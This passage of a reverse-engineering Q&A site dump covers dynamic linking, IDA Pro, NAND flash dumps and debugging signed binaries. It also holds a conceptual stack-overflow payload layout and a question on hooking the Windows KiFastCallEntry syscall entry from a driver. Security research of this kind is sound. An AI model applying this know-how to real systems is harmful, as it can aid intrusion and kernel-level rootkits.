did nothing but &lt;em&gt;jump&lt;/em&gt; to &lt;code&gt;printf&lt;/code&gt;. This still needs a relocation entry for &lt;code&gt;printf@plt&lt;/code&gt;, but it's much faster to do this single relocation at load time than many of them. And it doesn't affect execution much, because unconditional jumps can be handled by the processor pipeline quite efficiently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what happens in your case is: the &lt;code&gt;printf@plt&lt;/code&gt; does not make a call to the dynamic linker. The &lt;code&gt;printf@plt&lt;/code&gt; makes a jump to a static address, and the dynamic linker adjusts the target of this static address when it loads the program. It uses the relocation table to find out where to adjust things, and which target address to adjust them to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, the jump is implemented by taking the original pc, adding 12, adding 8000, then doing an indirect jump (&lt;code&gt;ldr pc, ...&lt;/code&gt; instead of &lt;code&gt;b&lt;/code&gt;). I'd assume that the 12 and the 8000 get adjusted to the load address of the .so that's loaded (libc.so), and libc.so contains a jump at offset &lt;code&gt;0x344&lt;/code&gt; to the real printf function. (However, i might be wrong here, i'd have to test on a real system, which i can't do conveniently right now)&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-09-25T08:19:30.343" LastActivityDate="2015-09-25T08:19:30.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10956" PostTypeId="2" ParentId="10952" CreationDate="2015-09-25T09:34:03.567" Score="4" Body="&lt;p&gt;The initial function being jumped to is the &lt;code&gt;PLT0&lt;/code&gt; stub which calls the glibc's &lt;code&gt;_dl_runtime_resolve&lt;/code&gt; via pointer in &lt;code&gt;GOT[2]&lt;/code&gt; (pre-filled by the dynamic loader):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.plt:00008530        STR             LR, [SP,#-4]!&#xA;.plt:00008534        LDR             LR, =(_GLOBAL_OFFSET_TABLE_ - 0x8540)&#xA;.plt:00008538        ADD             LR, PC, LR ; _GLOBAL_OFFSET_TABLE_&#xA;.plt:0000853C        LDR             PC, [LR,#8]!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Relevant parts from &lt;a href=&quot;https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/arm/dl-trampoline.S&quot; rel=&quot;nofollow noreferrer&quot;&gt;the source&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    @ we get called with&#xA;    @       stack[0] contains the return address from this call&#xA;    @       ip contains &amp;amp;GOT[n+3] (pointer to function)&#xA;    @       lr points to &amp;amp;GOT[2]&#xA;    [...]&#xA;    @ prepare to call _dl_fixup()&#xA;    @ change &amp;amp;GOT[n+3] into 8*n        NOTE: reloc are 8 bytes each&#xA;   sub     r1, ip, lr&#xA;   sub     r1, r1, #4&#xA;   add     r1, r1, r1&#xA;&#xA;   @ call fixup routine&#xA;   bl      _dl_fixup&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, glibc knows which function to resolve from the fact that the GOT pointer is in &lt;code&gt;ip&lt;/code&gt; (&lt;code&gt;R12&lt;/code&gt;). This way it can convert the address into the relocation table offet, and then &lt;code&gt;dl_fixup&lt;/code&gt; can look up the relevant symbol in the symbol table and resolve it. You can see the source of &lt;code&gt;dl_fixup&lt;/code&gt; in &lt;a href=&quot;https://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-runtime.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;dl-runtime.c&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Additional reading:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://users.eecs.northwestern.edu/%7Ekch479/docs/notes/linking.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Runtime Dynamic Linking&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20161225013845/http://althing.cs.dartmouth.edu:80/secref/resources/plt-got.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;PLT-GOT&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2021-09-27T22:20:50.090" LastActivityDate="2021-09-27T22:20:50.090" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10957" PostTypeId="1" AcceptedAnswerId="10958" CreationDate="2015-09-25T12:38:34.417" Score="1" ViewCount="235" Body="&lt;p&gt;I think that this is a basic need of every reverser so this question may have been asked in other places but really, I'm unable to find an answer. Maybe I'm asking the wrong question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, supposing I have a DLL that change base VA among different execution because of ASLR, in windows I can set DLLCharacteristic to make sure is loaded every time at the same address (losing eventually the signature). But what for generic code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose that a program allocate a buffer, copy some data, decrypt it then run it. In IDA, of course I can take a snapshot of memory, analyze it, put label and so on, but if I run the program the second time chances are the address are changed, so I can't benefit of my previous analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way map an arbiratry address with a previous analyzed section in the database?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2015-09-25T12:49:13.913" LastActivityDate="2015-09-25T13:45:09.397" Title="How to deal with code that change its address among different execution" Tags="|ida|windows|packers|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10958" PostTypeId="2" ParentId="10957" CreationDate="2015-09-25T13:45:09.397" Score="1" Body="&lt;p&gt;To map your section to another address use &lt;strong&gt;Edit -&gt; Segments&lt;/strong&gt; and than &lt;strong&gt;Move current segment&lt;/strong&gt; in IDA, you can even rebase the whole program in this menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I have understood your question. Sorry if not :)&lt;/p&gt;&#xA;" OwnerUserId="12670" LastActivityDate="2015-09-25T13:45:09.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10959" PostTypeId="1" CreationDate="2015-09-25T14:14:13.297" Score="3" ViewCount="201" Body="&lt;p&gt;I am writing a plugin which relies on going through all xrefs to printf-like function (you can imagine how many xrefs there are). After setting number of shown xrefs to 300 IDA has rounded to 256 what seems to be the maximum. I thought it is just GUI limitiation so I tried iterating over XrefsTo() programmatically which as well yielded only 256 xrefs. After quicky skimming through config I found nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea how to fix it ?&lt;/p&gt;&#xA;" OwnerUserId="8492" LastActivityDate="2015-09-25T14:14:13.297" Title="Increase IDA's 256 xref limit" Tags="|ida|" AnswerCount="0" CommentCount="6" ClosedDate="2016-10-10T02:16:44.063" ContentLicense="CC BY-SA 3.0" />
  <row Id="10963" PostTypeId="1" AcceptedAnswerId="10964" CreationDate="2015-09-25T20:50:39.723" Score="0" ViewCount="681" Body="&lt;p&gt;The IDA Pro Python function ScreenEA() will return the address the cursor is at and if I manually position the cursor at the start, it will return the first valid address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would like to be able to position my cursor anywhere and be able to ask for what the first valid address is. What function will return that information?&lt;/p&gt;&#xA;" OwnerUserId="13669" LastActivityDate="2015-09-25T22:06:15.067" Title="IDA Pro: function to return first valid address" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10964" PostTypeId="2" ParentId="10963" CreationDate="2015-09-25T22:06:15.067" Score="1" Body="&lt;p&gt;You'd want to use &lt;code&gt;MinEA()&lt;/code&gt;, which is &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/650.shtml&quot; rel=&quot;nofollow&quot;&gt;equivalent to&lt;/a&gt; &lt;code&gt;GetLongPrm(INF_MIN_EA)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/285.shtml&quot; rel=&quot;nofollow&quot;&gt;IDA's documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INF_MIN_EA      // int32; The lowest address used&#xA;                //        in the program&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-09-25T22:06:15.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10965" PostTypeId="1" CreationDate="2015-09-26T01:44:23.363" Score="2" ViewCount="789" Body="&lt;p&gt;After handing on some crackmes using packed codes, I am now curious about &lt;code&gt;anti-dumping techniques&lt;/code&gt;. For the crackmes I have encoutered, my method is as follows: after the program unpacks itself, I take a memory snapshot (using IDA), then analysis the unpacked code (this approach has been proposed also by Igor in the answer of &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/23/how-can-i-analyze-a-potentially-harmful-binary-safely&quot;&gt;this question&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since these crackmes are not sophisticated enough, this method works. But I am quite sure that there are more sophisticated techniques can bypass this method. The most detail document I can find is &lt;a href=&quot;http://www.codeproject.com/Articles/30815/An-Anti-Reverse-Engineering-Guide#AntiDumping&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt;, however the discussed techiques are all about inserting (e.g. Nanomites) special codes into original ones or changing them completely (e.g. VMProtect, Code Virtualizer); or some other tricks to fool debuggers/disassemblers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: are there existing techniques that prevent us from understanding the program by taking memory snapshot, while they do not change the original codes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB1. I have found a very close question and answer &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/72/unpacking-binaries&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-09-27T14:19:30.937" Title="Anti-dumping techniques" Tags="|ida|anti-debugging|anti-dumping|" AnswerCount="0" CommentCount="6" ClosedDate="2015-09-26T18:07:32.823" ContentLicense="CC BY-SA 3.0" />
  <row Id="10967" PostTypeId="1" CreationDate="2015-09-26T12:15:33.297" Score="0" ViewCount="333" Body="&lt;p&gt;Say, I have compiled a large code base, e.g. gzip/gmp/python/php etc. on Linux. Is there any means to map a high level C construct, e.g. assignment/if-else/for/while/Math expression back in the assembly dump produced by &lt;code&gt;objdump&lt;/code&gt; or something similar? Please let me know how far it is possible in both the cases when debug information is present and absent.&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2015-09-28T04:51:57.023" Title="Mapping a high level statement back in assembly dump" Tags="|disassembly|decompilation|c|objdump|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10971" PostTypeId="1" AcceptedAnswerId="11078" CreationDate="2015-09-26T16:24:13.570" Score="1" ViewCount="4614" Body="&lt;p&gt;What is the format for .so native android files developed in Xamarin Mono droid? From this SO &lt;a href=&quot;https://stackoverflow.com/questions/19072897/xamarin-android-does-native-code-compilation-make-reverse-engineering-harder&quot;&gt;post&lt;/a&gt; it appears they are actually .NET IL binaries (not native machine code). However, this other SO &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4624/how-do-i-reverse-engineer-so-files-found-in-android-apks&quot;&gt;post&lt;/a&gt; on Android NDK development appears to contradict this. In the apk file, there is a lib/armebi folder and a lib/x86 folder. Is it possible for .NET to be compiled to ARM format? If that is possible, it appears that x86 based .NET decompilers like ILSpy cannot handle ARM code too. Is there a better solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I know Hopper and IDA Pro works with ARM mode, but we get assembly instead of .NET code.&lt;/p&gt;&#xA;" OwnerUserId="9782" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-10-09T23:12:45.803" Title="Opening mono droid .so files in .NET decompiler" Tags="|disassembly|decompilation|arm|android|.net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10972" PostTypeId="1" AcceptedAnswerId="10978" CreationDate="2015-09-26T17:37:40.830" Score="-1" ViewCount="763" Body="&lt;p&gt;I'd like to know why we have to put the shellcode before the return address in a buffer overflow. Logically the return address will point to the shellcode and will be executed. So, the return address should be put before the shellcode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read about it here : &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2118/buffer-overflow-exploits-why-is-the-shellcode-put-before-the-return-address&quot;&gt;buffer overflow exploits - Why is the shellcode put before the return address&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I didn't really understand. Can someone explain me.&lt;/p&gt;&#xA;" OwnerUserId="13676" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-09-28T09:32:20.463" Title="Why do we have to put shellcode before return address" Tags="|shellcode|" AnswerCount="2" CommentCount="1" ClosedDate="2015-10-14T11:28:51.770" ContentLicense="CC BY-SA 3.0" />
  <row Id="10973" PostTypeId="2" ParentId="10972" CreationDate="2015-09-26T18:21:32.180" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'd like to know why we have to put the shellcode before the return&#xA;  address in a buffer overflow.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The shellcode does &lt;a href=&quot;https://en.wikipedia.org/wiki/False_premise&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;not&lt;/em&gt;&lt;/a&gt; need to be before the return address in a buffer overflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, for example, &lt;a href=&quot;https://dl.packetstormsecurity.net/1006-exploits/ufoalieninvasion-exec.txt&quot; rel=&quot;nofollow&quot;&gt;this advisory&lt;/a&gt; and the corresponding &lt;a href=&quot;http://www.slideshare.net/JasonGeffner/anonymous-remote-arbitrary-code-execution-in-alien-arena&quot; rel=&quot;nofollow&quot;&gt;slide deck&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-09-26T20:06:37.470" LastActivityDate="2015-09-26T20:06:37.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10975" PostTypeId="1" CreationDate="2015-09-27T05:33:03.347" Score="6" ViewCount="11913" Body="&lt;p&gt;I am working on a device which has a NAND flash chip in TSOP48, a SK Hynix H27U1G8F2BTR (1Gbit/128Mbyte, 2048byte (+ 64byte spare) pages, 128K blocks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have desoldered the chip and dumped the contents to a file. This file contains the OOB (out-of-band) data as well, resulting in a 138412032byte file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create a new simulated NAND MTD device using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;modprobe nandsim first_id_byte=0xad second_id_byte=0xf1 third_id_byte=0x00 fourth_id_byte=0x1d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which results in a device with the correct parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mtdinfo /dev/mtd0&#xA;mtd0&#xA;Name:                           NAND simulator partition 0&#xA;Type:                           nand&#xA;Eraseblock size:                131072 bytes, 128.0 KiB&#xA;Amount of eraseblocks:          1024 (134217728 bytes, 128.0 MiB)&#xA;Minimum input/output unit size: 2048 bytes&#xA;Sub-page size:                  512 bytes&#xA;OOB size:                       64 bytes&#xA;Character device major/minor:   90:0&#xA;Bad blocks are allowed:         true&#xA;Device is writable:             true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can now write my image to mtd using &lt;code&gt;nandwrite&lt;/code&gt;, with the &lt;code&gt;-o&lt;/code&gt; option to indicate that the dump contains OOB information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nandwrite -o /dev/mtd0 with_oob.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I can dump the image using &lt;code&gt;nanddump&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nanddump /dev/mtd0 -f without_oob.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in a 134217728byte file without OOB data. This file is sensible (as in, contains file systems I can mount).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few times, when playing around, I have seen ECC errors when running &lt;code&gt;nanddump&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does this combination of &lt;code&gt;nandsim&lt;/code&gt;, &lt;code&gt;nandwrite&lt;/code&gt; and &lt;code&gt;nandddump&lt;/code&gt; decide which ECC scheme to use? The flash is from a TI AM335 system, and as far as I know, the ECC scheme is decided by a combination of the processor and OS. How do these utilities know what to do?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2016-06-18T10:09:40.647" Title="How does ECC work with nandwrite/nanddump in mtd-utils?" Tags="|flash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10976" PostTypeId="2" ParentId="10967" CreationDate="2015-09-27T11:03:23.960" Score="1" Body="&lt;p&gt;I'll try to outline a possible ways you can go:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you compile with debug symbols, you can use &lt;em&gt;objdump&lt;/em&gt; to produce a more readable disassembly.&lt;/li&gt;&#xA;&lt;li&gt;if you give &lt;em&gt;gcc&lt;/em&gt; the flag &lt;code&gt;-fverbose-asm&lt;/code&gt;, the assembler it emits will be a lot clearer to read.&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;-S&lt;/code&gt; (note: capital &lt;strong&gt;S&lt;/strong&gt;) switch to &lt;em&gt;gcc&lt;/em&gt;, and it will emit the assembly code to a file with a &lt;strong&gt;.s&lt;/strong&gt; extension. For example, the following command:&#xA;&lt;code&gt;gcc -O2 -S -c foo.c&lt;/code&gt; will leave the generated assembly code on the file &lt;strong&gt;foo.s&lt;/strong&gt;. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also, you can generate this in &lt;strong&gt;AT&amp;amp;T&lt;/strong&gt; syntax as well as in &lt;strong&gt;Intel&lt;/strong&gt; syntax: &lt;code&gt;gcc -S -masm=att code.c&lt;/code&gt; &lt;code&gt;gcc -S -masm=intel code.c&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frankly, I've digested the info from &lt;a href=&quot;https://stackoverflow.com/questions/1289881/using-gcc-to-produce-readable-assembly%22%20here%22&quot;&gt;here&lt;/a&gt;. Hope it will help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: some useful links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.limitedwish.org/threethings/2012/05/11/c-objdump-asm/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The info that's more specific to your question&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.eresi-project.org/browser/trunk/testsuite/elf/etrel_inject/etrel_original&quot; rel=&quot;nofollow noreferrer&quot;&gt;Looks very promising except that the project is abandoned&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13448" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-09-28T04:51:57.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10977" PostTypeId="1" CreationDate="2015-09-27T20:07:35.023" Score="2" ViewCount="727" Body="&lt;p&gt;I'm having trouble debugging a win32 executable file under Windows 7. I've tried using ollyDbg and &lt;a href=&quot;http://x64dbg.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64dbg&lt;/a&gt;: the former simply does nothing, while the latter complains with an &quot;&lt;strong&gt;Error starting process (invalid pe?)!&lt;/strong&gt;&quot; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; this might have to do with the fact that said executable is digitally signed. I did some quick research and &lt;a href=&quot;https://stackoverflow.com/questions/341168/can-i-remove-a-digital-signature-from-a-dll&quot;&gt;this SO question&lt;/a&gt; came up, where I learned that digital signatures in windows executables are referenced in the file's PE header, which I &lt;em&gt;think&lt;/em&gt; might be what x64dbg was complaining about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The executable I'm talking about is the Mumble windows client version 1.2.10.&#xA;It is the only executable signed with &lt;strong&gt;two&lt;/strong&gt; different digital signatures, which further reinforces my hypothesis.&#xA;Sadly, even after stripping the digital signatures using the delcert.exe linked in the SO question above, the problem remains which brings me to a dead end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible digital signatures are messing these debuggers up? Is it possible that the signature stripping tool doesn't produce a valid pe file for the debuggers I tried? What else could I be doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As a footnote: I know mumble is free software and I could just compile my own version, but this is Reverse Engineering, right?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update: Following Jason comment, I'm posting the ollydbg log, which doesn't really say anything, unfortunately:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log data&#xA;Address    Message&#xA;OllyDbg v1.10&#xA;Bookmarks sample plugin v1.06 (plugin demo)&#xA;  Copyright (C) 2001, 2002 Oleh Yuschuk&#xA;Command line plugin v1.10&#xA;  Written by Oleh Yuschuk&#xA;File 'C:\Program Files (x86)\Mumble\mumble.exe'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="13684" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-09-28T00:13:55.647" Title="Debugging digitally signed executable" Tags="|windows|debugging|pe|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10978" PostTypeId="2" ParentId="10972" CreationDate="2015-09-28T09:32:20.463" Score="1" Body="&lt;p&gt;You can put your shellcode wherever you want. It's usually below the return address in textbook stack overflow, because it causes your total payload to be smaller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Small illustration: you're overflowing a 256 bytes buffer on the stack. Your payload would look like this in classical overflow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOP * (256 - len(shellcode)) + shellcode + padding + returnaddress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you put the payload after:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;padding * 256 + padding + returnaddress + nop * (as much as needed) + shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pro: you can sometimes add much more space for your nops or bigger shellcode. If you're doing ROP you'll need to use that space after the return address anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cons: your payload is bigger and may not fit in your buffer.&lt;/p&gt;&#xA;" OwnerUserId="2875" LastActivityDate="2015-09-28T09:32:20.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10981" PostTypeId="1" AcceptedAnswerId="10984" CreationDate="2015-09-28T16:35:09.530" Score="1" ViewCount="458" Body="&lt;p&gt;Hi i want to hook the KiFastCallEntry function from my Windows Driver , but i dont know how to get the addrres of this function , can someone pls tell me how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Target OS is Windows 7 32 bit&lt;/p&gt;&#xA;" OwnerUserId="13541" LastEditorUserId="13541" LastEditDate="2015-09-28T16:40:15.120" LastActivityDate="2015-09-28T17:24:15.543" Title="How to get the address of KiFastCallEntry from windows wdm driver" Tags="|windows|c|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10983" PostTypeId="1" AcceptedAnswerId="10985" CreationDate="2015-09-28T17:23:36.043" Score="0" ViewCount="808" Body="&lt;p&gt;i want to see all graphics functions from the win32k!W32pServiceTable function pointer Array but it only returns &quot;????&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; dps nt!KeServiceDescriptorTableShadow L8&#xA;8298f980  8288b73c nt!KiServiceTable&#xA;8298f984  00000000&#xA;8298f988  00000191&#xA;8298f98c  8288bd84 nt!KiArgumentTable&#xA;8298f990  82376000 win32k!W32pServiceTable&#xA;8298f994  00000000&#xA;8298f998  00000339&#xA;8298f99c  8237702c win32k!W32pArgumentTable&#xA;&#xA;kd&amp;gt; dps win32k!W32pServiceTable&#xA;82376000  ????????&#xA;82376004  ????????&#xA;82376008  ????????&#xA;8237600c  ????????&#xA;82376010  ????????&#xA;82376014  ????????&#xA;82376018  ????????&#xA;8237601c  ????????&#xA;82376020  ????????&#xA;82376024  ????????&#xA;82376028  ????????&#xA;8237602c  ????????&#xA;82376030  ????????&#xA;82376034  ????????&#xA;82376038  ????????&#xA;8237603c  ????????&#xA;82376040  ????????&#xA;82376044  ????????&#xA;82376048  ????????&#xA;8237604c  ????????&#xA;82376050  ????????&#xA;82376054  ????????&#xA;82376058  ????????&#xA;8237605c  ????????&#xA;82376060  ????????&#xA;82376064  ????????&#xA;82376068  ????????&#xA;8237606c  ????????&#xA;82376070  ????????&#xA;82376074  ????????&#xA;82376078  ????????&#xA;8237607c  ????????&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Target OS is Windows 7 32 bit&lt;/p&gt;&#xA;" OwnerUserId="13541" LastEditorUserId="13541" LastEditDate="2015-09-28T18:30:57.337" LastActivityDate="2015-09-28T18:30:57.337" Title="dps win32k!W32pServiceTable windbg command returning &quot;????&quot;" Tags="|windows|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10984" PostTypeId="2" ParentId="10981" CreationDate="2015-09-28T17:24:15.543" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/y55zyfdx.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;__readmsr(&lt;/code&gt;&lt;/a&gt;&lt;a href=&quot;http://wiki.osdev.org/SYSENTER#MSRs&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;IA32_SYSENTER_EIP )&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-09-28T17:24:15.543" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10985" PostTypeId="2" ParentId="10983" CreationDate="2015-09-28T17:26:57.287" Score="2" Body="&lt;p&gt;From &lt;a href=&quot;http://www.osronline.com/showthread.cfm?link=165166#T2&quot; rel=&quot;nofollow&quot;&gt;http://www.osronline.com/showthread.cfm?link=165166#T2&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When looking at session space you need to switch to a process from the&#xA;  appropriate session. If you just want to disassemble &lt;code&gt;win32k&lt;/code&gt; code, any&#xA;  interactive process will do (e.g. &lt;code&gt;explorer.exe&lt;/code&gt;):&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;!process 0 0 explorer.exe&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;.process /P &amp;lt;EPROCESS&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-09-28T17:26:57.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10986" PostTypeId="1" AcceptedAnswerId="10991" CreationDate="2015-09-28T21:39:35.763" Score="1" ViewCount="3892" Body="&lt;p&gt;I have just started teaching myself IDA and I have had some trouble with an array of structs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found and defined a struct similar to this: (simplified)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct {&#xA;char filename[50];&#xA;int field2;&#xA;int field3;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then found an array of these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I defined the struct, and then the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I defined them, the filename showed as a comment wherever it was referenced in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now however, it only references the first element of the array and an offset.&#xA;So now looking through the code, I don't have comments with the file being referenced, which makes it hard to tell what file the code is working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way for me to keep the array of structs and the comments, or do I need to undefine the array &amp;amp; struct to get the comment with filename back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I forgot to add, the filenames also no longer show up in the strings window after I created the array of structs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2:&#xA;Here is my struct definition&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000000 file_data_struct_t struc ; (sizeof=0x4F)&#xA;00000000 base_file_path  db 18 dup(?)            ; string(C)&#xA;00000012 unknown         db 44 dup(?)&#xA;0000003E loaded_data_ptr dd ?                    ; offset&#xA;00000042 ptr2            dd ?                    ; offset&#xA;00000046 file_length     db ?&#xA;00000047 unknown3        db ?&#xA;00000048 unknown4        db ?&#xA;00000049 unknown5        db ?&#xA;0000004A use_2nd_func    db 4 dup(?)&#xA;0000004E flag            db ?&#xA;0000004F file_data_struct_t end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is for the game &lt;a href=&quot;https://en.wikipedia.org/wiki/Theme_Park_(video_game)&quot; rel=&quot;nofollow&quot;&gt;Theme 